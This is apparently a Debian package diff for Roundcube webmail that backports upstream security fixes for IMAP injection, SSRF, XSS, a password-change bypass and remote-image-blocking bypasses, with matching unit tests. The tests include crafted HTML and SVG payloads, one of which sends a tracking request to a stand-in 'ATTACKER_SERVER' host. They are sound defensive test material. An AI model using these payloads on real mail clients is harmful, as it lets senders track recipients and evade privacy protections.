-@@ -856,7 +861,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -877,7 +882,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
<tr><td></td></tr>
</table>';
diff -Nru roundcube-1.6.13+dfsg/debian/patches/fix-install-path.patch roundcube-1.6.14+dfsg/debian/patches/fix-install-path.patch
--- roundcube-1.6.13+dfsg/debian/patches/fix-install-path.patch 2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/fix-install-path.patch 2026-03-20 18:54:25.000000000 +0100
@@ -218,10 +218,10 @@
require INSTALL_PATH . 'program/include/iniset.php';
diff --git a/program/include/iniset.php b/program/include/iniset.php
-index 6f9946e..c4ab39f 100644
+index 106f6d0..4dc4937 100644
--- a/program/include/iniset.php
+++ b/program/include/iniset.php
-@@ -28,7 +28,7 @@ define('RCMAIL_VERSION', '1.6-git');
+@@ -30,7 +30,7 @@ define('RCMAIL_VERSION', '1.6-git');
define('RCMAIL_START', microtime(true));
if (!defined('INSTALL_PATH')) {
diff -Nru roundcube-1.6.13+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch roundcube-1.6.14+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
--- roundcube-1.6.13+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch 2026-03-20 18:54:25.000000000 +0100
@@ -0,0 +1,53 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Thu, 19 Mar 2026 14:11:06 +0100
+Subject: Fix regression where mail search would fail on non-ascii search
+ criteria
+
+Origin: https://github.com/roundcube/roundcubemail/commit/6b137adda9b042c3742b0f968692e95ed367d3d1
+Bug: https://github.com/roundcube/roundcubemail/issues/10121
+---
+ CHANGELOG.md | 4 ++++
+ program/actions/mail/search.php | 8 ++++----
+ 2 files changed, 8 insertions(+), 4 deletions(-)
+
+diff --git a/CHANGELOG.md b/CHANGELOG.md
+index 86afc96..f7ac11d 100644
+--- a/CHANGELOG.md
++++ b/CHANGELOG.md
+@@ -2,6 +2,10 @@
+
+ ## Unreleased
+
++- Fix regression where mail search would fail on non-ascii search criteria (#10121)
++
++## Release 1.6.14
++
+ - Fix Postgres connection using IPv6 address (#10104)
+ - Security: Fix pre-auth arbitrary file write via unsafe deserialization in redis/memcache session handler
+ - Security: Fix bug where a password could get changed without providing the old password
+diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php
+index 3dac7a5..2525b0f 100644
+--- a/program/actions/mail/search.php
++++ b/program/actions/mail/search.php
+@@ -56,6 +56,10 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+ // add list filter string
+ $search_str = $filter && $filter != 'ALL' ? $filter : '';
+
++ // We pass the filter as-is into IMAP SEARCH command. A newline could be used
++ // to inject extra commands, so we remove these.
++ $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
++
+ if ($search_interval = self::search_interval_criteria($interval)) {
+ $search_str .= ' ' . $search_interval;
+ }
+@@ -71,10 +75,6 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+ $sort_column = self::sort_column();
+ $sort_order = self::sort_order();
+
+- // We pass the filter as-is into IMAP SEARCH command. A newline could be used
+- // to inject extra commands, so we remove these.
+- $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+-
+ // set message set for already stored (but incomplete) search request
+ if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) {
+ $rcmail->storage->set_search_set($_SESSION['search']);
diff -Nru roundcube-1.6.13+dfsg/debian/patches/map-sqlite3-to-sqlite.patch roundcube-1.6.14+dfsg/debian/patches/map-sqlite3-to-sqlite.patch
--- roundcube-1.6.13+dfsg/debian/patches/map-sqlite3-to-sqlite.patch 2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/map-sqlite3-to-sqlite.patch 2026-03-20 18:54:25.000000000 +0100
@@ -9,7 +9,7 @@
1 file changed, 1 insertion(+)
diff --git a/program/lib/Roundcube/rcube_db.php b/program/lib/Roundcube/rcube_db.php
-index 7384c98..e2fbe1a 100644
+index 3d38577..7955a92 100644
--- a/program/lib/Roundcube/rcube_db.php
+++ b/program/lib/Roundcube/rcube_db.php
@@ -81,6 +81,7 @@ class rcube_db
diff -Nru roundcube-1.6.13+dfsg/debian/patches/series roundcube-1.6.14+dfsg/debian/patches/series
--- roundcube-1.6.13+dfsg/debian/patches/series 2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/series 2026-03-20 18:54:25.000000000 +0100
@@ -20,3 +20,5 @@
Free-enchant-dictionary-resources.patch
Fix-FTBFS-with-phpunit-11.patch
Fix-flaky-test.patch
+Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
+Avoid-dependency-on-new-package-mlocati-ip-lib.patch
diff -Nru roundcube-1.6.13+dfsg/debian/patches/update-composer.patch roundcube-1.6.14+dfsg/debian/patches/update-composer.patch
--- roundcube-1.6.13+dfsg/debian/patches/update-composer.patch 2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/update-composer.patch 2026-03-20 18:54:25.000000000 +0100
@@ -14,14 +14,14 @@
Last-Update: 2021-07-06
Bug-Debian: https://bugs.debian.org/817792
---
- composer.json-dist | 25 ++++++++++++-------------
- 1 file changed, 12 insertions(+), 13 deletions(-)
+ composer.json-dist | 27 +++++++++++++--------------
+ 1 file changed, 13 insertions(+), 14 deletions(-)
diff --git a/composer.json-dist b/composer.json-dist
-index c8cf3f7..ca3de26 100644
+index b9140e3..1807004 100644
--- a/composer.json-dist
+++ b/composer.json-dist
-@@ -10,24 +10,23 @@
+@@ -10,25 +10,24 @@
],
"require": {
"php": ">=7.3.0",
@@ -35,14 +35,16 @@
- "roundcube/rtf-html-php": "~2.1",
- "masterminds/html5": "~2.7.0",
- "bacon/bacon-qr-code": "^2.0.0",
-- "guzzlehttp/guzzle": "^7.3.0"
+- "guzzlehttp/guzzle": "^7.3.0",
+- "mlocati/ip-lib": "^1.22.0"
+ "pear-pear.php.net/auth_sasl": ">=1.1.0",
+ "pear-pear.php.net/mail_mime": ">=1.10.0",
+ "pear-pear.php.net/net_smtp": ">=1.10.0",
+ "pear-pear.php.net/net_sieve": ">=1.4.5",
+ "roundcube/plugin-installer": ">=0.3.1",
+ "masterminds/html5": ">=2.7.0",
-+ "guzzlehttp/guzzle": ">=7.3.0"
++ "guzzlehttp/guzzle": ">=7.3.0",
++ "mlocati/ip-lib": ">=1.22.0"
},
"require-dev": {
"phpunit/phpunit": "^9"
diff -Nru roundcube-1.6.13+dfsg/plugins/password/password.php roundcube-1.6.14+dfsg/plugins/password/password.php
--- roundcube-1.6.13+dfsg/plugins/password/password.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/plugins/password/password.php 2026-03-18 12:35:19.000000000 +0100
@@ -333,10 +333,10 @@
else {
switch ($type) {
case PASSWORD_COMPARE_CURRENT:
- $result = $curpwd != $newpwd ? $this->gettext('passwordincorrect') : null;
+ $result = $curpwd !== $newpwd ? $this->gettext('passwordincorrect') : null;
break;
case PASSWORD_COMPARE_NEW:
- $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : null;
+ $result = $curpwd === $newpwd ? $this->gettext('samepasswd') : null;
break;
default:
$result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/index.php roundcube-1.6.14+dfsg/program/actions/mail/index.php
--- roundcube-1.6.13+dfsg/program/actions/mail/index.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/mail/index.php 2026-03-18 12:35:19.000000000 +0100
@@ -1274,7 +1274,7 @@
if (isset($attrib['href'])) {
$attrib['href'] = preg_replace('/[\x00-\x1F]/', '', $attrib['href']);
- if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
+ if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href']) && !rcube_utils::is_local_url($attrib['href'])) {
$tempurl = 'tmp-' . md5($attrib['href']) . '.css';
$_SESSION['modcssurls'][$tempurl] = $attrib['href'];
$attrib['href'] = $rcmail->url([
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/search.php roundcube-1.6.14+dfsg/program/actions/mail/search.php
--- roundcube-1.6.13+dfsg/program/actions/mail/search.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/mail/search.php 2026-03-18 12:35:19.000000000 +0100
@@ -71,6 +71,10 @@
$sort_column = self::sort_column();
$sort_order = self::sort_order();
+ // We pass the filter as-is into IMAP SEARCH command. A newline could be used
+ // to inject extra commands, so we remove these.
+ $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+
// set message set for already stored (but incomplete) search request
if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) {
$rcmail->storage->set_search_set($_SESSION['search']);
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/send.php roundcube-1.6.14+dfsg/program/actions/mail/send.php
--- roundcube-1.6.13+dfsg/program/actions/mail/send.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/mail/send.php 2026-03-18 12:35:19.000000000 +0100
@@ -281,6 +281,9 @@
}
if ($savedraft) {
+ // Sanitize the IMAP SEARCH input
+ $message_id = preg_replace('/[\r\n]+/', '', $message_id);
+
// remember new draft-uid ($saved could be an UID or true/false here)
if ($saved && is_bool($saved)) {
$index = $rcmail->storage->search_once($drafts_mbox, 'HEADER Message-ID ' . $message_id);
diff -Nru roundcube-1.6.13+dfsg/program/actions/utils/modcss.php roundcube-1.6.14+dfsg/program/actions/utils/modcss.php
--- roundcube-1.6.13+dfsg/program/actions/utils/modcss.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/utils/modcss.php 2026-03-18 12:35:19.000000000 +0100
@@ -47,7 +47,7 @@
$ctype = null;
try {
- $client = rcube::get_instance()->get_http_client();
+ $client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);
$response = $client->get($realurl);
if (!empty($response)) {
diff -Nru roundcube-1.6.13+dfsg/program/include/iniset.php roundcube-1.6.14+dfsg/program/include/iniset.php
--- roundcube-1.6.13+dfsg/program/include/iniset.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/include/iniset.php 2026-03-18 12:35:19.000000000 +0100
@@ -1,6 +1,8 @@
<?php
-/**
+use GuzzleHttp\Cookie\FileCookieJar;
+
+/*
+-----------------------------------------------------------------------+
| This file is part of the Roundcube Webmail client |
| |
@@ -80,6 +82,13 @@
// register autoloader for rcmail app classes
spl_autoload_register('rcmail_autoload');
+// disable use of dangerous dependencies
+spl_autoload_register(static function ($classname) {
+ if ($classname === FileCookieJar::class) {
+ throw new \Exception("{$classname} is forbidden for security reasons.");
+ }
+}, true, true);
+
/**
* PHP5 autoloader routine for dynamic class loading
*/
diff -Nru roundcube-1.6.13+dfsg/program/include/rcmail_action.php roundcube-1.6.14+dfsg/program/include/rcmail_action.php
--- roundcube-1.6.13+dfsg/program/include/rcmail_action.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/include/rcmail_action.php 2026-03-18 12:35:19.000000000 +0100
@@ -691,6 +691,9 @@
header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);
+ // Use strict security policy to make sure no javascript is executed
+ header("Content-Security-Policy: script-src 'none'");
+
if (isset($file['data']) && is_string($file['data'])) {
echo $file['data'];
}
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/db/mysql.php roundcube-1.6.14+dfsg/program/lib/Roundcube/db/mysql.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/db/mysql.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/db/mysql.php 2026-03-18 12:35:19.000000000 +0100
@@ -70,6 +70,11 @@
}
if (isset($dsn['hostspec'])) {
+ // Use IPv6 address in brackets
+ if (strpos($dsn['hostspec'], ':') !== false) {
+ $dsn['hostspec'] = '[' . $dsn['hostspec'] . ']';
+ }
+
$params[] = 'host=' . $dsn['hostspec'];
}
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_db.php roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_db.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_db.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_db.php 2026-03-18 12:35:19.000000000 +0100
@@ -1323,9 +1323,9 @@
}
if ($parsed['protocol'] == 'tcp' && strlen($proto_opts)) {
- $parsed['hostspec'] = $proto_opts;
- }
- else if ($parsed['protocol'] == 'unix') {
+ // Remove IPv6 brakets
+ $parsed['hostspec'] = trim($proto_opts, '[]');
+ } elseif ($parsed['protocol'] == 'unix') {
$parsed['socket'] = $proto_opts;
}
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_utils.php roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_utils.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_utils.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_utils.php 2026-03-18 12:35:19.000000000 +0100
@@ -1,6 +1,8 @@
<?php
-/**
+use IPLib\Factory;
+
+/*
+-----------------------------------------------------------------------+
| This file is part of the Roundcube Webmail client |
| |
@@ -420,6 +422,48 @@
}
/**
+ * Check if an URL point to a local network location.
+ *
+ * @param string $url
+ *
+ * @return bool
+ */
+ public static function is_local_url($url)
+ {
+ $host = parse_url($url, \PHP_URL_HOST);
+
+ if (is_string($host)) {
+ // TODO: This is pretty fast, but a single message can contain multiple links
+ // to the same target, maybe we should do some in-memory caching.
+ if ($address = Factory::parseAddressString($host = trim($host, '[]'))) {
+ $nets = [
+ '127.0.0.0/8', // loopback
+ '10.0.0.0/8', // RFC1918
+ '172.16.0.0/12', // RFC1918
+ '192.168.0.0/16', // RFC1918
+ '169.254.0.0/16', // link-local / cloud metadata
+ '::1/128',
+ 'fc00::/7',
+ ];
+
+ foreach ($nets as $net) {
+ $range = Factory::parseRangeString($net);
+ if ($range->contains($address)) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ // FIXME: Should we accept any non-fqdn hostnames?
+ return (bool) preg_match('/^localhost(\.localdomain)?$/i', $host);
+ }
+
+ return false;
+ }
+
+ /**
* Replace all css definitions with #container [def]
* and remove css-inlined scripting, make position style safe
*
@@ -558,7 +602,7 @@
if ($property == 'page') {
// Remove 'page' attributes (#7604)
continue;
- } elseif ($property == 'position' && strcasecmp($value, 'fixed') === 0) {
+ } elseif ($property == 'position' && stripos($value, 'fixed') !== false) {
// Convert position:fixed to position:absolute (#5264)
$value = 'absolute';
} elseif (preg_match('/expression|image-set/i', $value)) {
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_washtml.php roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_washtml.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_washtml.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_washtml.php 2026-03-18 12:35:19.000000000 +0100
@@ -393,7 +393,7 @@
}
if (preg_match('/^(http|https|ftp):.+/i', $uri)) {
- if (!empty($this->config['allow_remote'])) {
+ if (!empty($this->config['allow_remote']) || rcube_utils::is_local_url($uri)) {
return $uri;
}
@@ -427,6 +427,11 @@
return 'data:image/' . $type . ',' . base64_encode($svg);
}
+ // At this point we allow only valid base64 images
+ if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
+ return '';
+ }
+
return $uri;
}
}
@@ -504,22 +509,22 @@
* Do it in case-insensitive manner.
*
* @param DOMElement $node The element
- * @param string $attr_name The attribute name
- * @param string $attr_value The attribute value to find
+ * @param string $attr_value The attribute value to find (regexp)
*
* @return bool True if the specified attribute exists and has the expected value
*/
private static function attribute_value($node, $attr_name, $attr_value)
{
$attr_name = strtolower($attr_name);
- $attr_value = strtolower($attr_value);
foreach ($node->attributes as $name => $attr) {
if (strtolower($name) === $attr_name) {
+ $val = trim($attr->nodeValue);
// Read the attribute name, remove the namespace (e.g. xlink:href => href)
- $val = strtolower(trim($attr->nodeValue));
- $val = trim(preg_replace('/^.*:/', '', $val));
- if ($attr_value === $val) {
+ if ($attr_name === 'attributename') {
+ $val = trim(preg_replace('/^.*:/', '', $val));
+ }
+ if (preg_match($attr_value, $val)) {
return true;
}
}
@@ -529,6 +534,27 @@
}
/**
+ * Check if the node is an insecure element
+ *
+ * @param \DOMElement $node
+ */
+ private static function is_insecure_tag($node)
+ {
+ $tagName = strtolower($node->nodeName);
+
+ if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) {
+ return false;
+ }
+
+ if (self::attribute_value($node, 'attributeName', '/^href$/i')) {
+ return true;
+ }
+
+ return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i')
+ && self::attribute_value($node, 'values', '/url\(/i');
+ }
+
+ /**
* The main loop that recurse on a node tree.
* It output only allowed tags with allowed attributes and allowed inline styles
*
@@ -579,10 +605,9 @@
$node->setAttribute('href', (string) $uri);
}
- else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
- && self::attribute_value($node, 'attributename', 'href')
- ) {
+ else if (self::is_insecure_tag($node)) {
// Insecure svg tags
+ // TODO: We really should use wash_attribs()/wash_uri() for these cases
if ($this->config['add_comments']) {
$dump .= "<!-- {$tagName} blocked -->";
}
diff -Nru roundcube-1.6.13+dfsg/public_html/plugins/password/password.php roundcube-1.6.14+dfsg/public_html/plugins/password/password.php
--- roundcube-1.6.13+dfsg/public_html/plugins/password/password.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/public_html/plugins/password/password.php 2026-03-18 12:35:19.000000000 +0100
@@ -333,10 +333,10 @@
else {
switch ($type) {
case PASSWORD_COMPARE_CURRENT:
- $result = $curpwd != $newpwd ? $this->gettext('passwordincorrect') : null;
+ $result = $curpwd !== $newpwd ? $this->gettext('passwordincorrect') : null;
break;
case PASSWORD_COMPARE_NEW:
- $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : null;
+ $result = $curpwd === $newpwd ? $this->gettext('samepasswd') : null;
break;
default:
$result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DBMysql.php roundcube-1.6.14+dfsg/tests/Framework/DBMysql.php
--- roundcube-1.6.13+dfsg/tests/Framework/DBMysql.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/DBMysql.php 2026-03-18 12:35:19.000000000 +0100
@@ -9,14 +9,16 @@
*/
class Framework_DBMysql extends PHPUnit\Framework\TestCase
{
-
- /**
- * Class constructor
- */
- function test_class()
+ public function test_dsn_string()
{
- $object = new rcube_db_mysql('test');
+ $db = new \rcube_db_mysql('test');
+
+ $result = $db->parse_dsn('mysql://user:pass@[fd00:3::11]:3306/test');
+ $dsn = invokeMethod($db, 'dsn_string', [$result]);
+ $this->assertSame('mysql:dbname=test;host=[fd00:3::11];port=3306;charset=utf8mb4', $dsn);
- $this->assertInstanceOf('rcube_db_mysql', $object, "Class constructor");
+ $result = $db->parse_dsn('mysql://user:pass@[::1]/test');
+ $dsn = invokeMethod($db, 'dsn_string', [$result]);
+ $this->assertSame('mysql:dbname=test;host=[::1];charset=utf8mb4', $dsn);
}
}
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DBPgsql.php roundcube-1.6.14+dfsg/tests/Framework/DBPgsql.php
--- roundcube-1.6.13+dfsg/tests/Framework/DBPgsql.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/DBPgsql.php 2026-03-18 12:35:19.000000000 +0100
@@ -90,5 +90,13 @@
$dsn = $db->parse_dsn("pgsql://user@unix(/var/run/postgresql)/roundcubemail?sslmode=verify-full");
$result = invokeMethod($db, 'dsn_string', [$dsn]);
$this->assertSame("pgsql:host=/var/run/postgresql;dbname=roundcubemail;sslmode=verify-full", $result);
+
+ $result = $db->parse_dsn('pgsql://user:pass@[fd00:3::11]:5432/test');
+ $dsn = invokeMethod($db, 'dsn_string', [$result]);
+ $this->assertSame('pgsql:host=fd00:3::11;port=5432;dbname=test', $dsn);
+
+ $result = $db->parse_dsn('pgsql://user:pass@[::1]/test');
+ $dsn = invokeMethod($db, 'dsn_string', [$result]);
+ $this->assertSame('pgsql:host=::1;dbname=test', $dsn);
}
}
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DB.php roundcube-1.6.14+dfsg/tests/Framework/DB.php
--- roundcube-1.6.13+dfsg/tests/Framework/DB.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/DB.php 2026-03-18 12:35:19.000000000 +0100
@@ -199,7 +199,7 @@
$this->assertSame('mysql', $result['phptype']);
$this->assertSame('user', $result['username']);
$this->assertSame('pass', $result['password']);
- $this->assertSame('[fd00:3::11]', $result['hostspec']);
+ $this->assertSame('fd00:3::11', $result['hostspec']);
$this->assertSame('3306', $result['port']);
$this->assertSame('roundcubemail', $result['database']);
@@ -208,7 +208,7 @@
$this->assertSame('mysql', $result['phptype']);
$this->assertSame('user', $result['username']);
$this->assertSame('pass', $result['password']);
- $this->assertSame('[::1]', $result['hostspec']);
+ $this->assertSame('::1', $result['hostspec']);
$this->assertTrue(!array_key_exists('port', $result));
$this->assertSame('roundcubemail', $result['database']);
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/Utils.php roundcube-1.6.14+dfsg/tests/Framework/Utils.php
--- roundcube-1.6.13+dfsg/tests/Framework/Utils.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/Utils.php 2026-03-18 12:35:19.000000000 +0100
@@ -280,6 +280,9 @@
$mod = \rcube_utils::mod_css_styles('.test { position: fixed; top: 0;', 'rcmbody');
$this->assertSame('#rcmbody .test { position: absolute; top: 0; }', $mod, 'Replace position:fixed with position:absolute (6)');
+ $mod = \rcube_utils::mod_css_styles('.test { position: fixed !important; }', 'rcmbody');
+ $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 'Replace position:fixed with position:absolute (7)');
+
// allow data URIs with images (#5580)
$mod = rcube_utils::mod_css_styles("body { background-image: url(data:image/png;base64,123); }", 'rcmbody');
$this->assertStringContainsString("#rcmbody { background-image: url(data:image/png;base64,123);", $mod, "Data URIs in url() allowed [1]");
@@ -554,6 +557,40 @@
}
/**
+ * Test is_local_url()
+ *
+ * @dataProvider provide_is_local_url_cases
+ */
+ #[DataProvider('provide_is_local_url_cases')]
+ public function test_is_local_url($input, $output)
+ {
+ $this->assertSame($output, \rcube_utils::is_local_url($input));
+ }
+
+ /**
+ * Test-Cases for is_local_url() test
+ */
+ public static function provide_is_local_url_cases(): iterable
+ {
+ return [
+ // Local hosts
+ ['https://127.0.0.1', true],
+ ['https://10.1.1.1', true],
+ ['https://172.16.0.1', true],
+ ['https://192.168.0.100', true],
+ ['https://169.254.0.200', true],
+ ['http://[fc00::1]', true],
+ ['ftp://[::1]:8080', true],
+ ['//127.0.0.1', true],
+ ['http://localhost', true],
+ ['http://localhost.localdomain', true],
+ // Non-local hosts
+ ['http://[2001:470::76:0:0:0:2]', false],
+ ['http://domain.tld', false],
+ ];
+ }
+
+ /**
* rcube:utils::strtotime()
*/
function test_strtotime()
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/Washtml.php roundcube-1.6.14+dfsg/tests/Framework/Washtml.php
--- roundcube-1.6.13+dfsg/tests/Framework/Washtml.php 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/Washtml.php 2026-03-18 12:35:19.000000000 +0100
@@ -262,12 +262,19 @@
$washer = new rcube_washtml(['html_elements' => ['body']]);
$washed = $washer->wash($html);
- $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, "Body bgcolor attribute");
- $this->assertMatchesRegularExpression('|text="#000"|', $washed, "Body text attribute");
- $this->assertMatchesRegularExpression('|background="#test"|', $washed, "Body background attribute");
- $this->assertMatchesRegularExpression('|link="#111"|', $washed, "Body link attribute");
- $this->assertMatchesRegularExpression('|alink="#222"|', $washed, "Body alink attribute");
- $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, "Body vlink attribute");
+ $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 'Body bgcolor attribute');
+ $this->assertMatchesRegularExpression('|text="#000"|', $washed, 'Body text attribute');
+ $this->assertMatchesRegularExpression('|background="#test"|', $washed, 'Body background attribute');
+ $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body link attribute');
+ $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body alink attribute');
+ $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body vlink attribute');
+
+ $html = '<html><body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>';
+
+ $washer = new \rcube_washtml(['html_elements' => ['body']]);
+ $washed = $washer->wash($html);
+
+ $this->assertMatchesRegularExpression('|x-washed="background"|', $washed, 'Body evil background');
}
/**
@@ -500,6 +507,20 @@
'<html><svg><defs><filter><feImage xlink:href="http://external.site"/></filter></defs></html>',
'<svg><defs><filter><feImage x-washed="xlink:href"></feImage></filter></defs></svg>',
],
+ [
+ '<svg><animate attributeName="mask" values="url(https://external.site)" fill="freeze" dur="0.1s" /></svg>',
+ '<svg><!-- animate blocked --></svg>',
+ ],
+ [
+ '<svg><animate attributeName="mask" values="none;url(https://external.site);url(https://external.site)"'
+ . ' repeatCount="indefinite" dur="1s" /></svg>',
+ '<svg><!-- animate blocked --></svg>',
+ ],
+ [
+ '<svg><animate attributeName="cursor" attributeType="CSS" values="url(https://external.site),auto"'
+ . ' feel="freeze" dur="1s" /></svg>',
+ '<svg><!-- animate blocked --></svg>',
+ ],
];
}
-------------- next part --------------
diffstat for roundcube-1.6.5+dfsg roundcube-1.6.5+dfsg
changelog | 22 +
patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch | 61 +++
patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch | 42 ++
patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch | 164 ++++++++++
patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch | 26 +
patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch | 33 ++
patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch | 40 ++
patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch | 43 ++
patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch | 38 ++
patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch | 60 +++
patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch | 112 ++++++
patches/series | 10
12 files changed, 651 insertions(+)
diff -Nru roundcube-1.6.5+dfsg/debian/changelog roundcube-1.6.5+dfsg/debian/changelog
--- roundcube-1.6.5+dfsg/debian/changelog 2026-02-11 12:05:21.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/changelog 2026-03-20 19:15:19.000000000 +0100
@@ -1,3 +1,25 @@
+roundcube (1.6.5+dfsg-1+deb12u8) bookworm-security; urgency=high
+
+ * Cherry pick upstream security fixes from v1.6.14 (closes: #1131182):
+ + Fix pre-auth arbitrary file write via unsafe deserialization in
+ redis/memcache session handler.
+ + Fix bug where a password could get changed without providing the old
+ password.
+ + Fix IMAP Injection + CSRF bypass in mail search.
+ + Fix remote image blocking bypass via various SVG animate attributes.
+ + Fix remote image blocking bypass via a crafted <body> background
+ attribute.
+ + Fix fixed position mitigation bypass via use of `!important`.
+ + Fix XSS vulnerability in HTML attachment preview.
+ + Fix SSRF and information disclosure vulnerability via stylesheet links
+ pointing to a local network hosts.
+ * Cherry pick upstream regression fix where mail search would fail on
+ non-ascii search criteria.
+ * Add custom patch to avoid runtime dependency on mlocati/ip-lib which is
+ not present in bookworm.
+
+ -- Guilhem Moulin <guilhem at debian.org> Fri, 20 Mar 2026 19:15:19 +0100
+
roundcube (1.6.5+dfsg-1+deb12u7) bookworm-security; urgency=high
* Cherry pick upstream security fixes from v1.6.13 (closes: #1127447):
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
--- roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,61 @@
+From: Guilhem Moulin <guilhem at debian.org>
+Date: Fri, 20 Mar 2026 17:34:30 +0100
+Subject: Avoid dependency on new package mlocati/ip-lib
+
+Which as of today is not present in Debian. The dependency was
+introduced in 27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870 in order to fix a
+security issue. While it can be uploaded to sid, we need another
+solution to fix the vulnerability for older suites.
+
+Bug-Debian: https://bugs.debian.org/1131182
+Forwarded: not-needed
+---
+ program/lib/Roundcube/rcube_utils.php | 26 +++++++++++++-------------
